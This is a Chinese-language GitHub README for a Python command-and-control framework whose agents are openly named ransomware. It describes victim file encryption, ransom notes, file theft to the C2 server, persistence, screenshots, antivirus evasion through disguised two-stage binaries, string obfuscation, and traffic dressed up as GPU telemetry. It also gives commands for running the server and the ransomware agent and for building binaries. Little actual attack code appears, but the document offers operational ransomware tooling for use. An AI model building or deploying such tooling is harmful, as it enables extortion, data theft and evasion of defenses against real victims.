svenrobbie/c2-framework
GitHub: svenrobbie/c2-framework
一款跨平台的 Python C2 框架,提供轻量级 agent、插件化加密、实时仪表板和字符串混淆等红队攻防对抗能力。
Stars: 0 | Forks: 0
# RogueByte C2 框架
跨平台 C2 框架,具备插件可扩展 agent、实时 WebSocket 仪表板以及基于构建的多态性。加密模块作为运行时插件交付 —— 核心 binary 是一个轻量级框架 (~10MB)。
## 架构
```
┌──────────────────────────┐ beacon/http ┌──────────────────────────────────┐
│ Victim (Agent) │◄────────────────────►│ C2 Server │
│ │ commands/plugins │ │
│ HW_DETECT (stager) │ │ Flask + SocketIO + Gevent │
│ GPU_HELPER (framework) │ │ SQLite DB (Fernet-encrypted) │
│ └─ plugin: crypto │ │ Passphrase-protected unlock │
│ │ │ WebSocket → React SPA │
└──────────────────────────┘ └──────────────────────────────────┘
┌───────────────────┐
│ Dashboard │
│ (TypeScript) │
│ Plugins UI │
│ Alert Rules UI │
└───────────────────┘
```
## 功能
- **受密码保护的 DB** —— 服务器启动时处于锁定状态。基于 PBKDF2 派生的 Fernet key,磁盘上无 keyfile。
- **通过 REST API 登录** —— `/api/login` 和 `/api/setup` endpoint(不仅限于 SocketIO),不受 WebSocket 连接状态影响。
- **基于构建的 RSA 密钥** —— 每次运行 `build.py` 都会生成唯一的 RSA-2048 密钥对。Private key 按构建编号存储在 DB 中。Agent 在执行 `decrypt` 命令时自动注入。
- **插件系统** —— 重型模块 (encrypt/decrypt, scareware) 是在运行时从 C2 服务器加载的插件。核心 binary 非常轻量 (~10MB)。
- **默认 crypto 插件** —— 使用 `cryptography.hazmat` 进行 AES-256-GCM + RSA-OAEP 加密。运行时无需 PyCryptodome。
- **插件下载追踪** —— 服务器记录哪些受害机器下载了哪些插件。仪表板显示每个受害机器的已加载插件状态。
- **告警规则引擎** —— 可配置的服务器端触发器会评估每个 beacon。6 种操作符 × 9 个字段 × 3 种操作类型(通知仪表板、记录日志、带有危险命令过滤器的自动排队命令)。
- **字符串混淆** —— 在构建时对所有字符串字面量进行基于 AST 的 XOR 加密。对 binary 执行 `strings` 命令不会产生任何 C2 URL、密钥或命令名称。
- **规避 AV 的部署** —— 分为两个阶段:`hw_detect` (stager) 先 beacon 连接,然后下载并启动 `gpu_helper` (框架 + 插件)。
- **实时仪表板** —— React + Vite + Tailwind v4 + SocketIO。实时更新受害机器状态、命令分发、文件窃取、针对插件和告警的多标签页 UI。
- **跨平台** —— 支持 Linux 和 Windows agent,通过 Docker 进行 Windows 交叉编译。
- **线程安全的命令队列** —— `threading.Lock` 保护 `pending_commands` 和 `auto_deploy_targets` 免受竞态条件影响。
## 目录结构
```
├── agents/ → Agent source (ransomware_linux/windows + stagers + settings)
├── server/ → C2 server
│ ├── c2_server.py → Flask + SocketIO + Gevent (24 routes, 5 SocketIO handlers)
│ ├── plugins/ → Plugin .py files (uploaded via dashboard)
│ ├── data/ → SQLite DB, keys/, exfil/, auto_deploy.json
│ └── static/ → React SPA (Vite build output)
├── client/ → React + Vite + TypeScript dashboard source (14 TS/TSX files)
├── lib/ → Shared modules (persistence, c2_client, evasion, plugin_loader)
├── tools/ → build.py (PyInstaller) + obfuscators/ + key_gen.py
├── dist/ → Compiled binaries (linux/ + windows/)
└── legacy/ → Archived V1 prototype
```
## 快速开始
```
pip install -r requirements.txt
python3 server/c2_server.py
```
打开 http://localhost:4444。仪表板会提示您在首次运行时设置主密码。一旦解锁,任何正在运行的 agent 都会实时显示。
### 运行 Agent (开发模式)
```
python3 agents/ransomware_linux.py
```
### 构建生产环境 Binary
```
python3 server/c2_server.py # Must be running first (generates traffic key)
python3 tools/build.py # Compiles for platform (string obfuscation applied)
```
输出位于 `dist/linux/gpu_helper` (~10MB) 和 `dist/linux/hw_detect` (~13MB)。
## 核心 Agent 命令
| 命令 | 描述 |
|---|---|
| `exec` | 运行 shell 命令 (返回 stdout/stderr,1000 字符) |
| `persist` | 安装 systemd/Registry 持久化 |
| `download` | 将文件从 URL 下载到受害机器 |
| `upload` | 将文件从受害机器上传到 C2 |
| `network_info` | 网络接口、路由、监听端口 |
| `screenshot` | 捕获桌面,上传到 C2 |
| `pslist` | 列出正在运行的进程 |
| `pskill` | 通过 PID 终止进程 (带有自我终止保护) |
| `show_ransomnote` | 显示勒索说明 |
| `self_destruct` | 移除持久化,删除 binary,退出 |
| `status` | Agent 状态:持久化、已加载插件、追踪的文件 |
| `load_plugin` | 从 C2 下载插件,动态导入 |
| `unload_plugin` | 注销插件命令 |
| `list_plugins` | 显示已加载的插件 + 注册的命令 |
| `encrypt` | (通过 crypto 插件) AES-256-GCM + RSA-OAEP 文件加密 |
| `decrypt` | (通过 crypto 插件) 使用 RSA private key 解密文件 |
| `scare` | (通过 crypto 插件) 写入勒索说明 + 哨兵文件 |
## 插件
插件是通过仪表板上传的标准 Python 文件,存储在 `server/plugins/` 中。每个插件都导出元数据和一个 `init(ctx)` 函数:
```
PLUGIN_NAME = "crypto"
PLUGIN_VERSION = "1.0"
PLUGIN_DESCRIPTION = "AES-256-GCM + RSA-OAEP encryption plugin"
def init(ctx):
ctx.register_command('encrypt', cmd_encrypt)
ctx.register_command('decrypt', cmd_decrypt)
```
默认插件 (`server/plugins/crypto.py`) 提供 AES-256-GCM + RSA-OAEP 混合加密。当目标未加载 `crypto` 时,仪表板会显示每个受害机器已加载插件的徽章,并禁用“加密/解密”按钮。
## 告警
规则会在每次 beacon 时进行评估。字段包括:`hostname`、`username`、`os`、`ip`、`status`、`persistent`、`files_found`、`files_encrypted`、`command_result`。操作符:`equals`、`contains`、`matches` (regex)、`starts_with`、`gt`、`lt`。操作:通知仪表板、记录到历史日志,或自动排队命令(遵循危险命令过滤机制)。
## 安全性
- **静态 DB**:使用从主密码派生的 key 进行 Fernet 加密 (PBKDF2-HMAC-SHA256,10 万次迭代)。
- **流量**:每个 session 进行 Fernet 加密,伪装成分析遥测数据 (`hwmonitor`、`nvidia-smi`、`directx`)。
- **登录**:REST API (`/api/login`、`/api/setup`),成功后进行 SocketIO 状态同步。
- **构建**:用于文件加密的基于构建的 RSA-2048 密钥。Private key 存放在 DB 中(绝不存在于 binary 中)。
- **插件**:在运行时下载并通过 `importlib` 加载。无沙箱 —— 运行在同一进程中。
- **Binary**:AST 字符串混淆,无 UPX,无 `--key` (PyInstaller 6.x 已弃用 BlockCipher)。每次构建具有唯一的字节模式。
- **线程安全**:`threading.Lock` 保护命令队列和自动部署集合。
- **错误隔离**:遥测处理程序包含在 try/except 中,失败的 beacon 不会导致服务器崩溃。
- **无密码恢复**:服务器重启需要重新登录。密码丢失即丢失 DB。
## 环境变量
| 变量 | 默认值 | 用途 |
|---|---|---|
| `C2_SERVER` | (提示输入) | build.py 的服务器 URL |
| `C2_API_KEY` | (无) | REST endpoint 的 HTTP header 认证 |
| `C2_SHUTDOWN_KEY` | `shutdown` | `/api/shutdown` 的密钥 |
| `FLASK_DEBUG` | `0` | 启用 Flask 调试模式 |
## 依赖项
```
cryptography==46.0.3
flask==3.1.1
flask-socketio==5.5.1
gevent==24.11.1
pycryptodome==3.23.0
```
标签:C2框架, HTTP工具, IP 地址批量处理, Python, 基础设施安全, 安全学习资源, 无后门, 漏洞挖掘, 网络信息收集, 网络安全, 逆向工具, 隐私保护